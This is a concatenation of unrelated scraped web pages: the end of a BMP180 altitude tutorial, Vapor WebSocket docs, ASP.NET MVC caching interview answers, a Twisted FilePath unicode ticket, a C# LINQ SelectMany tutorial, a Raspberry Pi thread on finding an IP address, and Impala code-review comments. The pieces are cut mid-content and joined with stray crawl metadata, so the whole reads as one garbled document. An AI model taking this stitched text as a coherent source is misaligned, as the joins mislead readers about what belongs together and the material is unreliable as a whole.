BMP180_GetPress (oss); return 44330*(1-(pow(((float)Press/(float)atmPress), 0.19029495718))); } Here we need to define the Standard Atmospheric Pressure first, as it will be needed in the calculation The Altitude can be calculated from the Pressure using the formula as shown below Result Let’s take a look the Calibration variables first As you can see in the picture above, that the calibration results are almost the same as the default ones. I have too much variation in AC1 and AC2 but that’s okay. you can see above the rest of the variables values and based on these values, the Pressure, Temperature and Altitude is calculated.
https://controllerstech.com/interface-bmp180-with-stm32/
CC-MAIN-2021-21
refinedweb
1,039
55.07
Getting Started with WebSocket¶ WebSocket (vapor/websocket) is a non-blocking, event-driven WebSocket library built on SwiftNIO. It makes working with SwiftNIO's WebSocket handlers easy and provides integration with HTTP clients and servers. Creating a WebSocket echo server takes just a few lines of code. Tip If you use Vapor, most of WebSocket's APIs will be wrapped by more convenient methods. Vapor¶ This package is included with Vapor and exported by default. You will have access to all WebSocket APIs when you import Vapor. import Vapor Standalone¶ The WebSocket package is lightweight, pure Swift, and only depends on SwiftNIO. This means it can be used as a WebSocket framework any Swift project—even one not using Vapor. To include it in your package, add the following to your Package.swift file. // swift-tools-version:4.0 import PackageDescription let package = Package( name: "Project", dependencies: [ ... .package(url: "", from: "1.0.0"), ], targets: [ .target(name: "Project", dependencies: ["WebSocket", ... ]) ] ) Use import WebSocket to access the APIs. The rest of this guide will give you an overview of what is available in the WebSocket package. As always, feel free to visit the API docs for more in-depth information.
https://docs.vapor.codes/3.0/websocket/getting-started/
CC-MAIN-2018-22
refinedweb
198
59.19
Back to: Dot Net Interview Questions and Answers ASP.NET MVC Caching Interview Questions and Answers In this article, I am going to discuss the Most Frequently asked ASP.NET MVC Caching Interview Questions and Answers. Please read our previous article where we discussed the most frequently asked Filters Interview Questions in ASP.NET MVC Application with Answers. As part of this article, we are going to discuss the following ASP.NET MVC Caching Interview Questions and Answers. - What is caching? - When to use Caching in ASP.NET MVC Application? - What are the advantages of caching in ASP.NET MVC Application? - What is the Output Caching in ASP.NET MVC? - How to allow users to submit HTML tags in ASP.NET MVC - What is loose coupling and how is it possible in MVC Design Pattern? - What is Test-Driven Development (TDD)? - What are the commonly used tool for Unit Testing in ASP.NET MVC? What is Caching? Caching is the most important aspect of the high-performance web application. Caching provides a way of storing frequently accessed data and reusing that data. Practically, this is an effective way of improving the web application’s performance. When to use Caching in ASP.NET MVC Application? - Use caching for contents that are accessed frequently. - Avoid caching for contents that are unique per user. - Avoid caching for contents that are accessed infrequently/rarely. - Use the VaryByCustom function to cache multiple versions of a page based on customization aspects of the request such as cookies, role, theme, browser, and so on. - For efficient caching use a 64-bit version of Windows Server and SQL Server. - For database caching make sure your database server has sufficient RAM otherwise, it may degrade the performance. - For caching of dynamic contents that change frequently, define a short cache–expiration time rather than disabling caching. What are the advantages of caching in ASP.NET MVC Application? We are getting the following advantages of using caching: - Reduce hosting server round-trips - When content is cached at the client or in proxies, it causes the minimum request to the server. - Reduce database server round-trips - When content is cached at the web server, it can eliminate the database request. - Reduce network traffic - When content is cached at the client-side, it also reduces the network traffic. - Avoid time-consumption for regenerating reusable content - When reusable content is cached, it avoids the time consumption for regenerating reusable content. - Improve performance - Since cached content reduces round-trips, network traffic and avoids time consumption for regenerating reusable content which causes a boost in the performance. What is the Output Caching in ASP.NET MVC Application? The OutputCache filter allows you to cache the data that is the output of an action method. By default, this attribute filter caches the data until 60 seconds. After 60 sec, ASP.NET MVC will execute the action method again and cache the output again. The output of the Index() action method will be cached for 20 seconds. If you will not define the duration, it will cache it for by default cache duration 60 sec. Output Caching Location By default, content is cached in three locations: the webserver, any proxy servers, and the user’s browser. You can control the content’s cached location by changing the location parameter of the OutputCache attribute to any of the following values: Any, Client, Downstream, Server, None, or ServerAndClient. By default, the location parameter has the value and which is appropriate for most of the scenarios. But sometimes there are scenarios when you required more control over the cached data. How to allow users to submit HTML tags in ASP.NET MVC? By default, ASP.NET MVC doesn’t allow a user to submit HTML for avoiding the Cross-Site Scripting attack on your application. You can achieve it by using the ValidateInput attribute and AllowHtml attribute. The ValidateInput attribute can enable or disable input validation at the controller level or at any action method. [ValidateInput(false)] public class HomeController : Controller { public ActionResult AddArticle() { return View(); } } The ValidateInput attribute allows the Html input for all the properties and that is unsafe. Since you have enabled Html input for only one-two properties then how to do this. To allow Html input for a single property, you should use the AllowHtml attribute. public class BlogModel { [Required] [Display(Name = "Title")] public string Title { get; set; } [AllowHtml] [Required] [Display(Name = "Description")] public string Description { get; set; } } What is loose coupling and how is it possible in MVC Design Pattern? One of the most important features of the MVC design pattern is that it enables separation of concerns. Hence you can make your application’s components independent as much as possible. This is known as loose coupling and it makes testing and maintenance of our application easier. Using Dependency Injection you can make your application’s components more loosely coupled. What is Test-Driven Development (TDD)? TDD is a methodology that says; write your tests first before you write your code. In TDD, tests drive your application design and development cycles. You do not do the check-in of your code into source control until your entire unit tests pass. What are the commonly used tool for Unit Testing in ASP.NET MVC? ASP.NET MVC has been designed for testability without dependencies on the IIS server, on a database, or on external classes. There are following popular tools for ASP.NET MVC testing: - NUnit – This is the most popular unit testing framework for Microsoft .NET. Its syntax is relatively simple and easy to use. It comes with a test runner GUI and a command-line utility. NUnit is also available as a NuGet package for download. - xUnit.NET – This provides a way to run automated unit tests. It is simple, easily extended, and has a very clean syntax. - Ninject – This provides a way to wire up classes in your application. - Moq – This provides a framework for mocking interfaces and classes during testing. In this article, I try to explain the most frequently asked ASP.NET MVC Caching Interview Questions and Answers. I hope this article will help you with your needs. I would like to have your feedback. Please post your feedback, question, or comments about this article.
https://dotnettutorials.net/lesson/mvc-caching-interview-questions/
CC-MAIN-2020-05
refinedweb
1,044
59.09
Here's what I would like to do: I'm taking pictures with a webcam at regular intervals. Sort of like a time lapse thing. However, if nothing has really changed, that is, the picture pretty much looks the same, I don't want to store the latest snapshot. I imagine there's some way of quantifying the difference, and I would have to empirically determine a threshold. I'm looking for simplicity rather than perfection. I'm using python. Option 1: Load both images as arrays ( scipy.misc.imread) and calculate an element-wise (pixel-by-pixel) difference. Calculate the norm of the difference. Option 2: Load both images. Calculate some feature vector for each of them (like a histogram). Calculate distance between feature vectors rather than images. However, there are some decisions to make first. You should answer these questions first: Are images of the same shape and dimension? If not, you may need to resize or crop them. PIL library will help to do it in Python. If they are taken with the same settings and the same device, they are probably the same. Are images well-aligned? If not, you may want to run cross-correlation first, to find the best alignment first. SciPy has functions to do it. If the camera and the scene are still, the images are likely to be well-aligned. Is exposure of the images always the same? (Is lightness/contrast the same?) If not, you may want to normalize images. But be careful, in some situations this may do more wrong than good. For example, a single bright pixel on a dark background will make the normalized image very different. Is color information important? If you want to notice color changes, you will have a vector of color values per point, rather than a scalar value as in gray-scale image. You need more attention when writing such code. Are there distinct edges in the image? Are they likely to move? If yes, you can apply edge detection algorithm first (e.g. calculate gradient with Sobel or Prewitt transform, apply some threshold), then compare edges on the first image to edges on the second. Is there noise in the image? All sensors pollute the image with some amount of noise. Low-cost sensors have more noise. You may wish to apply some noise reduction before you compare images. Blur is the most simple (but not the best) approach here. What kind of changes do you want to notice? This may affect the choice of norm to use for the difference between images. Consider using Manhattan norm (the sum of the absolute values) or zero norm (the number of elements not equal to zero) to measure how much the image has changed. The former will tell you how much the image is off, the latter will tell only how many pixels differ. I assume your images are well-aligned, the same size and shape, possibly with different exposure. For simplicity, I convert them to grayscale even if they are color (RGB) images. You will need these imports: import sys from scipy.misc import imread from scipy.linalg import norm from scipy import sum, average Main function, read two images, convert to grayscale, compare and print results: def main(): file1, file2 = sys.argv[1:1+2] # read images as 2D arrays (convert to grayscale for simplicity) img1 = to_grayscale(imread(file1).astype(float)) img2 = to_grayscale(imread(file2).astype(float)) # compare n_m, n_0 = compare_images(img1, img2) print "Manhattan norm:", n_m, "/ per pixel:", n_m/img1.size print "Zero norm:", n_0, "/ per pixel:", n_0*1.0/img1.size How to compare. img1 and img2 are 2D SciPy arrays here: def compare_images(img1, img2): # normalize to compensate for exposure difference, this may be unnecessary # consider disabling it img1 = normalize(img1) img2 = normalize(img2) # calculate the difference and its norms diff = img1 - img2 # elementwise for scipy arrays m_norm = sum(abs(diff)) # Manhattan norm z_norm = norm(diff.ravel(), 0) # Zero norm return (m_norm, z_norm) If the file is a color image, imread returns a 3D array, average RGB channels (the last array axis) to obtain intensity. No need to do it for grayscale images (e.g. .pgm): def to_grayscale(arr): "If arr is a color image (3D array), convert it to grayscale (2D array)." if len(arr.shape) == 3: return average(arr, -1) # average over the last axis (color channels) else: return arr Normalization is trivial, you may choose to normalize to [0,1] instead of [0,255]. arr is a SciPy array here, so all operations are element-wise: def normalize(arr): rng = arr.max()-arr.min() amin = arr.min() return (arr-amin)*255/rng Run the main function: if __name__ == "__main__": main() Now you can put this all in a script and run against two images. If we compare image to itself, there is no difference: $ python compare.py one.jpg one.jpg Manhattan norm: 0.0 / per pixel: 0.0 Zero norm: 0 / per pixel: 0.0 If we blur the image and compare to the original, there is some difference: $ python compare.py one.jpg one-blurred.jpg Manhattan norm: 92605183.67 / per pixel: 13.4210411116 Zero norm: 6900000 / per pixel: 1.0 P.S. Entire compare.py script. As the question is about a video sequence, where frames are likely to be almost the same, and you look for something unusual, I'd like to mention some alternative approaches which may be relevant: I strongly recommend taking a look at “Learning OpenCV” book, Chapters 9 (Image parts and segmentation) and 10 (Tracking and motion). The former teaches to use Background subtraction method, the latter gives some info on optical flow methods. All methods are implemented in OpenCV library. If you use Python, I suggest to use OpenCV ≥ 2.3, and its cv2 Python module. The most simple version of the background subtraction: More advanced versions make take into account time series for every pixel and handle non-static scenes (like moving trees or grass). The idea of optical flow is to take two or more frames, and assign velocity vector to every pixel (dense optical flow) or to some of them (sparse optical flow). To estimate sparse optical flow, you may use Lucas-Kanade method (it is also implemented in OpenCV). Obviously, if there is a lot of flow (high average over max values of the velocity field), then something is moving in the frame, and subsequent images are more different. Comparing histograms may help to detect sudden changes between consecutive frames. This approach was used in Courbon et al, 2010: Similarity of consecutive frames. The distance between two consecutive frames is measured. If it is too high, it means that the second frame is corrupted and thus the image is eliminated. The Kullback–Leibler distance, or mutual entropy, on the histograms of the two frames: where p and q are the histograms of the frames is used. The threshold is fixed on 0.2.
https://codedump.io/share/XnT5Iht0isuZ/1/how-can-i-quantify-difference-between-two-images
CC-MAIN-2017-13
refinedweb
1,161
66.74
Opened 9 years ago Closed 6 years ago #5203 enhancement closed fixed (fixed) FilePath.children() should return FilePath objects with unicodes in them instead of strs Description This is an epic tale of a ticket. I'm sorry for that, but I didn't have time to make it shorter. During the middle chapter (where I'm arguing that Tahoe-LAFS ought to adopt filepath) you may think I've wandered off topic, but rest assured that we return to the topic of this ticket in the finale. Summary: 1. Tahoe-LAFS would be improved by the use of filepath instead of its legacy path manipulation code. 2. FilePath.children is insufficient for Tahoe-LAFS's needs (because it doesn't decode bytes on Linux into unicodes), 3. Maye we could contribute code to help with that. Twisted folks: for context, Zancas and I are experimenting with using filepath in Tahoe-LAFS, and David-Sarah questions whether filepath supports the handling of non-ASCII pathnames like Tahoe-LAFS already does. If filepath doesn't, switching to it might introduce a regression. Zancas: A great way to tell whether it does would be to find a unit test that makes sure that it does. If you find one, and it currently passes, then great!--You know that it works. If you find one and it fails, then great!--You know that it doesn't. (This is why it can be useful to have a unit test that is known to go red and is marked as a "TODO" test.) If you've done a thorough scan and you're pretty sure that there is no test that would go red if this code had bugs with regard to unicode handling, then you know that this functionality isn't automatically tested, and we treat it as though it is likely to have bugs. Having searched myself in order to write this ticket (see below), I've learned that the answer is that filepath has, not bugs exactly, but limited functionality-- FilePath.children returns a set of FilePath instances that have str-type paths instead of unicode-type paths. All the filepath tests are here: (I found that by grepping the twisted/test directory for "filepath".) A quick scan through there confirms that, as exarkun and glyph mentioned on #4736, there aren't any tests for handling of non-ASCII characters. Now, jknight mentioned on #4736 that there was a branch attached to #2366 that had some relevant changes! I don't see any branches attached to #2366. I guess I don't know how to find them. The Tahoe-LAFS project has done extensive work, especially thanks to David-Sarah, and benefiting from some good advice I got a couple of years ago from Glyph and JP, to make sure that non-ASCII characters are supported in every way that makes sense for Tahoe-LAFS. We did this in a test-driven manner and have thorough unit tests. Perhaps they would be useful to filepath maintainers, and certainly they can be used to evaluate whether a Tahoe-LAFS-with-filepath had any regressions compared to a Tahoe-LAFS-with- os.path/ __builtin__.open/ shutil/etc. The unicode-specific tests are in test_encodingutil.py. They are testing encodingutil.py. There are many tests of other Tahoe-LAFS functionality which make sure it handles non-ASCII characters correctly, e.g.: I'm looking at a sample of code in which we might replace Tahoe-LAFS's own filesystem manipulation with filepath. Here is an excerpt from our recent patch: - tmpfile = self.statefname + ".tmp" - f = open(tmpfile, "wb") - pickle.dump(self.state, f) - f.close() - fileutil.move_into_place(tmpfile, self.statefname) + self.statefp.setContent(pickle.dumps(self.state)) Our code uses fileutil.move_into_place: def move_into_place(source, dest): """Atomically replace a file, or as near to it as the platform allows. The dest file may or may not exist.""" if "win32" in sys.platform.lower(): remove_if_possible(dest) os.rename(source, dest) Which uses remove_if_possible: def remove_if_possible(f): try: remove(f) except: pass (Ugh! A bare except:.) Which uses a horrible function that I am rather ashamed of which has, I think, been in continuous use since the days of Mojo Nation: def remove(f, tries=4, basedelay=0.1): """ Here is a superkludge to workaround the fact that occasionally on Windows some other process (e.g. an anti-virus scanner, a local search engine, etc.) is looking at your file when you want to delete or move it, and hence you can't. The horrible workaround is to sit and spin, trying to delete it, for a short time and then give up. With the default values of tries and basedelay this can block for less than a second. @param tries: number of tries -- each time after the first we wait twice as long as the previous wait @param basedelay: how long to wait before the second try """ try: os.chmod(f, stat.S_IWRITE | stat.S_IEXEC | stat.S_IREAD) except: pass for i in range(tries-1): try: return os.remove(f) except EnvironmentError, le: # XXX Tighten this to check if this is a permission denied error # (possibly due to another Windows process having the file open # and execute the superkludge only in this case. if not os.path.exists(f): return log.msg("XXX KLUDGE Attempting to remove file %s; got %s;" + \ "sleeping %s seconds" % (f, le, basedelay,)) time.sleep(basedelay) basedelay *= 2 return os.remove(f) # The last try. Okay, so this is a great example of the benefits of using filepath instead of our own utility functions. The patch above eliminates code, some of which is bad code, in favor of invoking FilePath.setContents. But to the topic of this ticket: is this likely to introduce a regression in handling of non-ASCII characters? In this particular example it is not likely to introduce a regression, because this particular code doesn't have mechanisms for handling non-ASCII characters any more than filepath does, and the current Tahoe-LAFS tests don't test whether this functionality handles non-ASCII characters. In fact, for this example the filepath code and the current code result in almost the exact same sequence of calls to the exact same Python standard library functions, so if one has bugs in case of non-ASCII filenames, the other probably does too. So what's an example of Tahoe-LAFS code which has been specifically crafted to handle non-ASCII characters and which has tests of that? I think the only such piece of code which filepath would replace is listdir_unicode. This is thoroughly tested by unit tests in test_encodingutil.py (as well as indirectly tested by other functional tests of Tahoe-LAFS). Where do we use it? Here is a great example: the "tahoe backup" command lists children of a directory in order to back them all up: tahoe_backup.py. In addition to the unit tests of listdir_unicode itself, "tahoe backup" has tests of the "tahoe backup" functionality and tests of the command-line interface to it. The former includes tests of handling non-ASCII chars (look for the string "unicode") and the latter currently doesn't. Okay, so this suggests something that Zancas and I can do: try the unit tests for listdir_unicode on FilePath.children, and assuming that they fail, then make sure not to replace any uses of listdir_unicode with FilePath.children. This may also prevent us from using filepath to manipulate the resulting children in the (client-side) backup code, but in the (server-side) storage code that Zancas and I are working on, this isn't a problem. (In addition, of course, to keeping our eyes out for other potential regressions that I've overlooked in this analysis.) This also suggests something that someone could contribute to filepath: the tests and the implementation which would cause FilePath.children to return an iterable of unicode objects. Are the filepath hackers interested in that? Note that the current listdir_unicode raises exception if it gets a child name which can't be decoded in the nominal filesystem encoding. (This can't happen on Windows or Mac OS X.) I currently think that this behavior is strictly superior to the current behavior of FilePath.children, and so this should not be considered a regression from filepath's perspective, but I could be persuaded otherwise. I can imagine an API which handles both decodable and non-decodable child names, but I suspect that for most users raising exception on a non-decodable child name would be preferable. For extensive exploration of that issue in the context of Tahoe-LAFS, please see Tahoe-LAFS #371 (what to do with filenames that are illegal on some systems), which is also directly relevant to #2366. Change History (5) comment:1 Changed 9 years ago by comment:2 Changed 9 years ago by comment:3 Changed 6 years ago by Hey folks, just so you know, I just posted a comment on saying that I really want Tahoe-LAFS to switch to using filepath, but we can't accept your intended behavior for this issue, so we'll have to fork filepath. comment:4 Changed 6 years ago by Hi zooko, Mostly I just wanted to thank you for the effort you put in to keeping Twisted informed about how it, as dependency of your projects (Tahoe-LAFS in particular), affects your ability to get things done. I really appreciate hearing about how Twisted comes up short for our users (sure, I like hearing about how great it is too but ultimately the other stuff is what's really useful) and out of all the users I hear from you're easily one of the very best at this. So - thank you! I'm sorry we haven't been able to do anything on this front to help out Tahoe-LAFS. One thing I'm not clear about is whether, when you say "your intended behavior for this issue", you're referring to a particular decision that has been made somewhere or if you're referring to the fact that this issue has gone three years with progress (or even comments!) from anyone acknowledging that there's a problem here or weighing in on the proposed solutions from your earlier comments. Could you clarify that? Thanks again. We talked about this on IRC for a bit. Glyph mentioned that he didn't see a reason FilePathcouldn't have a canDecodeCleanlymethod. With that (and with a method named textIdentifierthat would return unicode objects for the FilePathsthat could decode cleanly using the declared filesystem encoding), we rewrite Tahoe-LAFS's listdir_unicode_fallback() from: to Then we would still have to maintain this function: But there are a few ways that this could be improved for our use case by changing or extending the FilePathAPI. First, the implementation of of listdir_unicode_fallbackwould be nicer if FilePathoffered a .textIdentifierStrictwhich gave a unicode resulting from a clean decode using the declared filesystem encoding, alongside a .textIdentifierLossywhich gave its best attempt to guess, replace, mojibake, or \uFFFE (�). Then listdir_unicode_fallbackcould be written as: Next, it would be great if FilePathwould adopt this code under its API, so that I wouldn't have to maintain any of this code and could just use FilePath.children, or FilePath.childrenStrictUnicode, or StrictlyUnicodeFilePath.children.
https://twistedmatrix.com/trac/ticket/5203
CC-MAIN-2021-04
refinedweb
1,886
61.87
Projection in LINQ C# with the SelectMany operator The SelectMany operator creates a one-to-many output projection sequence over an input sequence. SelectMany will return 0 or more output elements for every input element. Let’s see an example. Data source:"}; Consider the following code: IEnumerable<char> characters = bands.SelectMany(b => b.ToArray()); foreach (char item in characters) { Console.WriteLine(item); } We provide a string input to SelectMany and apply the ToArray extension to it which will be an array of chars. So we have a single input – a string – and a collection of many elements as output – the sequence of characters from each band name. Here’s a small part of the output: This is an interesting but probably not too useful application of SelectMany. We can do more interesting projections with it. Consider the following classes: public class Singer { public int Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } } public class Concert { public int SingerId { get; set; } public int ConcertCount { get; set; } public int Year { get; set; } } We have the following data in the data collection:} }; } We can create a join with the SelectMany operator to see how many concerts each singer gave per year. Consider the following query: IEnumerable<Singer> singers = GetSingers(); IEnumerable<Concert> concerts = GetConcerts(); var singerConcerts = singers.SelectMany(s => concerts.Where(c => c.SingerId == s.Id) .Select(c => new {Year = c.Year, ConcertCount = c.ConcertCount, Name = string.Concat(s.FirstName, " ", s.LastName) })); foreach (var item in singerConcerts) { Console.WriteLine(string.Concat(item.Name, ", ", item.Year, ", ", item.ConcertCount)); } First every Singer object is passed into the lambda expression of SelectMany, which will be ‘s’ parameter. In the lambda expression we retrieve every Concert of each singer using the Where extension. We’re in effect joining the two data collections on the Id/SingerId properties. Finally we construct an anonymous object collection with the Select operator. Here’s the output: You can project the results into “real” objects as opposed to anonymous ones. We have the following object: public class SingerConcert { public string SingerName { get; set; } public int Year { get; set; } public int ConcertCount { get; set; } } Our query can be modified as follows to build a sequence of SingerConcert objects: IEnumerable<Singer> singers = DemoCollections.GetSingers(); IEnumerable<Concert> concerts = DemoCollections.GetConcerts(); IEnumerable<SingerConcert> singerConcerts = singers.SelectMany(s => concerts.Where(c => c.SingerId == s.Id) .Select(c => new SingerConcert() { Year = c.Year, ConcertCount = c.ConcertCount, SingerName = string.Concat(s.FirstName, " ", s.LastName) })); foreach (SingerConcert item in singerConcerts) { Console.WriteLine(string.Concat(item.SingerName, ", ", item.Year, ", ", item.ConcertCount)); } …which provides the same output as the anonymous class example above. You can view all LINQ-related posts on this blog here. I love these excercises. Its really helping me practice and see how to build up my queries. In this example I struggled to understand the query itself till i found the DotNetPearls page on the join which suggested that join queries are probably easier to read and maintain in the comprehension syntax so i re-wrote my copy of the query: var query = from s in singers join c in concerts on s.Id equals c.SingerId select new { Year = c.Year, ConcertCount = c.ConcertCount, Name = string.Concat(s.FirstName, ” “, s.LastName) }; foreach (var result in query) Console.WriteLine(“{0}, {1}, {2}”, result.Name, result.Year, result.ConcertCount);
https://dotnetcodr.com/2016/02/09/projection-in-linq-c-with-the-selectmany-operator-2/
CC-MAIN-2022-40
refinedweb
554
50.23
Type inference and type annotations¶ Type inference¶ The initial assignment defines a variable. If you do not explicitly specify the type of the variable, mypy infers the type based on the static type of the value expression: i = 1 # Infer type int for i l = [1, 2] # Infer type List[int] for l Type inference is bidirectional and takes context into account. For example, the following is valid: def f(l: List[object]) -> None: l = [1, 2] # Infer type List[object] for [1, 2] In an assignment, the type context is determined by the assignment target. In this case this is l, which has the type List[object]. The value expression [1, 2] is type checked in this context and given the type List[object]. In the previous example we introduced a new variable l, and here the type context was empty. Note that the following is not valid, since List[int] is not compatible with List[object]: def f(l: List[object], k: List[int]) -> None: l = k # Type check error: incompatible types in assignment The reason why the above assignment is disallowed is that allowing the assignment could result in non-int values stored in a list of int: def f(l: List[object], k: List[int]) -> None: l = k l.append('x') print(k[-1]) # Ouch; a string in List[int] You can still run the above program; it prints x. This illustrates the fact that static types are used during type checking, but they do not affect the runtime behavior of programs. You can run programs with type check failures, which is often very handy when performing a large refactoring. Thus you can always ‘work around’ the type system, and it doesn’t really limit what you can do in your program. Type inference is not used in dynamically typed functions (those without an explicit return type) — every local variable type defaults to Any, which is discussed later. Explicit types for variables¶ You can override the inferred type of a variable by using a special type comment after an assignment statement: x = 1 # type: Union[int, str] Without the type comment, the type of x would be just int. We use an annotation to give it a more general type Union[int, str]. Mypy checks that the type of the initializer is compatible with the declared type. The following example is not valid, since the initializer is a floating point number, and this is incompatible with the declared type: x = 1.1 # type: Union[int, str] # Error! Note The best way to think about this is that the type comment sets the type of the variable, not the type of the expression. To force the type of an expression you can use cast(<type>, <expression>). Explicit types for collections¶ The type checker cannot always infer the type of a list or a dictionary. This often arises when creating an empty list or dictionary and assigning it to a new variable that doesn’t have an explicit variable type. In these cases you can give the type explicitly using a type annotation comment: l = [] # type: List[int] # Create empty list with type List[int] d = {} # type: Dict[str, int] # Create empty dictionary (str -> int) Similarly, you can also give an explicit type when creating an empty set: s = set() # type: Set[int] Declaring multiple variable types at a time¶ You can declare more than a single variable at a time. In order to nicely work with multiple assignment, you must give each variable a type separately: i, found = 0, False # type: int, bool You can optionally use parentheses around the types, assignment targets and assigned expression: i, found = 0, False # type: (int, bool) # OK (i, found) = 0, False # type: int, bool # OK i, found = (0, False) # type: int, bool # OK (i, found) = (0, False) # type: (int, bool) # OK Starred expressions¶ In most cases, mypy can infer the type of starred expressions from the right-hand side of an assignment, but not always: a, *bs = 1, 2, 3 # OK p, q, *rs = 1, 2 # Error: Type of rs cannot be inferred On first line, the type of bs is inferred to be List[int]. However, on the second line, mypy cannot infer the type of rs, because there is no right-hand side value for rs to infer the type from. In cases like these, the starred expression needs to be annotated with a starred type: p, q, *rs = 1, 2 # type: int, int, *List[int] Here, the type of rs is set to List[int]. Types in stub files¶ Stub files are written in normal Python 3 syntax, but generally leaving out runtime logic like variable initializers, function bodies, and default arguments, replacing them with ellipses. In this example, each ellipsis ... is literally written in the stub file as three dots: x = ... # type: int def afunc(code: str) -> int: ... def afunc(a: int, b: int=...) -> int: ... Note The ellipsis ... is also used with a different meaning in callable types and tuple types.
http://mypy.readthedocs.io/en/stable/type_inference_and_annotations.html
CC-MAIN-2017-26
refinedweb
835
63.12
Easiest way to show my IP address? After I've booted up, what's the easiest way to obtain and display the IP address that the device is currently using? I'm using Raspbian, and ifconfigdoesn't appear to be installed. Are there any widgets that display this information in LXDE? I'm realizing that now. I think I got spoiled by Ubuntu's command line hints. I'll check it out when I power it back up. That's a bash thing, rather than a Ubuntu thing. I think ifconfig is just installed with different permissions. Yep, I forgot to sudo. ifconfig is installed by default, but it comes up with a command not found error if you don't sudo it. Thanks! My Raspbian shows the IP-address just before the login prompt. I'll disable startx with raspi-config and see if it's on my login prompt, as well. Steve Robillard Correct answer8 years ago The if family of tools including ifconfig are being deprecated and replaced by the newer ip commands so you can use any one of the following from the command line to determine your IP address: sudo ip addr show or sudo hostname --ip-address or if you still want to use ifconfig, and it is not already installed sudo apt-get install wireless-tools sudo ifconfig -a @jackweirdy that is the newer tools that are replacing the old if tools. Try man ip for some additional details. cheers for that, learnt something new today :) is ther an "arp" command that will show you something in line of IP address? @ppumkin possibly but I don't know I guess you could dump the cache,but that may return multiple hosts leaving you to puzzle out which ip belongs to which host. `ip a` is sufficient if you want to get the IP address :) None of the display commands actually need sudo permissions. It's probably shown because of a side-effect of setting your path to include /sbin. You can run `/sbin/ifconfig` or `/sbin/ip` as any user normally. You can use this little python script as well. import socket def get_local_ip_address(target): ipaddr = '' try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((target, 8000)) ipaddr = s.getsockname()[0] s.close() except: pass return ipaddr print "Raspberry Pi - Local IP Address" print(get_local_ip_address('10.0.1.1')) print(get_local_ip_address('google.com')) A bit overkill don't you think? Not much point replacing the existing Linux commands that achieve the same. @Jivings Bit harsh - it's an answer, that works! (I say without testing...) It could be the basis of a widget on a desktop for instance. @Bryan Welcome to Stack Exchange and Raspberry Pi! @AlexChamberlain Sorry Bryan. Hadn't had my coffee yet this morning :) This could even be added to the messages service that runs after login to automatically display the IP address along side the startx message. Then it would be automatic no typing required. As an alternative to finding the DHCP assigned IP address, I've added a reserved IP address in my router/DHCP server. It matches the MAC address of the Raspi and always assigns the same IP address - even after a fresh install of the OS. With Wheezy now having SSH enabled by default, it means I can login to a freshly installed Raspberry Pi without ever needing to connect a keyboard or monitor. Apologies for not answering the question directly, but it seemed closely related enough to suggest. If it helps people find easy ways to determine the IP, I'm all for it. You may be able to check the DHCP status/logs on your DHCP server. Especially if it's on your home network. On all the routers I have owned this has been fairly easy to find. This is helpful if you are running headless and just want to know the address to ssh to. @gnibbler +1 for addressing the issue for those running headless. One think to note, identifying which device is the Pi can be tricky since it does not always identify itself over the network, and so, may show up without a name in the attached devices list. This thread;t=6998 has more on the problem and solution @SteveRobillard, mine _does_ identify itself, but it also may help someone if they see a MAC address starting like `b8:27:eb:xx:xx:xx`, it's probably a RPi :) $ host raspberrypi raspberrypi has address 192.168.1.20 $ host raspberrypi | grep ‘address’ | cut -d’ ‘ -f4 192.168.1.20 $ nslookup 192.168.1.20 Server: 192.168.1.1 Address: 192.168.1.1#53 20.1.168.192.in-addr.arpa name = raspberrypi. $ nslookup 192.168.1.20 | grep ‘=’ | cut -d’ ‘ -f3 raspberrypi What worked for me : sudo ifconfig since ifconfigwas at sbin/ifconfig While I appreciate your response, Alex Chamberlain's comment and Steve Robillard's response already contain this information. If you want to see your external ip address use this on your command line curl; echo; You could create a function to make it easier. Edit your .bashrc and add the following function at the end of the file. Function to display the external ip address Calling your function from cli You may find more interesting ways to obtain your ip address in this link Shea Silverman and Jacob Bates have recently created a tool called PIP that allows you to obtain the IP of your raspberry pi without even attaching it to a screen, as it installs a script that send your IP address to a server that you can visit with your main PC. It may not be the best option in every situation, but it is a very clever hack. Baby script to return the ip address, works from a prompt: ip address list | grep inet | grep -v 127.0.0 | cut -d " " -f 6 | cut -d "/" -f 1 ip ais a shortcut for ip address So: ip a should be sufficient There is no need to use sudo if all you are interested in doing is viewing the IP address. For more information, the man page for the iputility is available by running: man ip Alex Chamberlain 8 years ago It probably is installed; you have to sudo ifconfig on Debian.
https://libstdc.com/us/q/raspberrypi/1409
CC-MAIN-2021-10
refinedweb
1,052
71.44
Taras Bobrovytsky has posted comments on this change. Change subject: IMPALA-5036: Parquet count star optimization ...................................................................... Patch Set 1: (38 comments) Commit Message: PS1, Line 10: statistic > Works for me. Done Line 13: > Mention the new rewrite rule Done File be/src/exec/hdfs-parquet-scanner.cc: Line 426: // Populate the slot with Parquet num rows statistic. > Populate the single slot with the Parquet num rows statistic. Done Line 431: memset(tuple_buf, 0, tuple_buf_size); > Don't think we usually do this, and I don't think it's necessary. Done Line 432: while (!row_batch->AtCapacity()) { > Do we have a suitable file with many row groups for testing this logic? We The file has to have more than 1 row group. I'm pretty sure tpch_parquet.lineitem should work. Line 440: *dst_slot = file_metadata_.row_groups[row_group_idx_].num_rows; > We could, but not sure it's worth it. One scanner does not necessarily proc I looked for a bit how to make sure it's one thread per file, and it looks complicated to me. I also think it's not worth doing this because for all other optimizations (for example where we look at the min and max statistic) we would have to loop over the row groups (and not the file). I don't think there is a per file min and max statistic. Line 455: DCHECK_LE(row_group_rows_read_, file_metadata_.num_rows); > What if file_metadata_.num_rows or file_metadata_.row_groups[row_group_idx_ Not sure, should we be checking that stats is non-negative? What do you suggest we do? Line 488: DCHECK(row_group_idx_ <= file_metadata_.row_groups.size()); > Why this change? To keep it consistent with line 434. I don't like checking for greater or equal to. If it's greater, doesn't that mean that something has gone wrong? Line 1455: // Column readers are not needed because we are not reading from any columns if this > The transformation is only valid if l_comment is non-nullable. We have no c There can be several slots if we are grouping by a partition column. Left unmodified. File be/src/exec/hdfs-scan-node-base.h: Line 158: const bool optimize_parquet_count_star() { return optimize_parquet_count_star_; } > const function Done Line 373: bool optimize_parquet_count_star_; > const Done File fe/src/main/java/org/apache/impala/analysis/FunctionCallExpr.java: Line 585: if (copiedInputExprs.size() != inputExprs.size()) return; > Have you tried also substituting the FunctionCallExpr.mergeAggInputFn_ in A Done File fe/src/main/java/org/apache/impala/analysis/TupleDescriptor.java: Line 331: * Return true if the slots being materialized are all partition columns. > The new behavior is tricky to reason about, can we 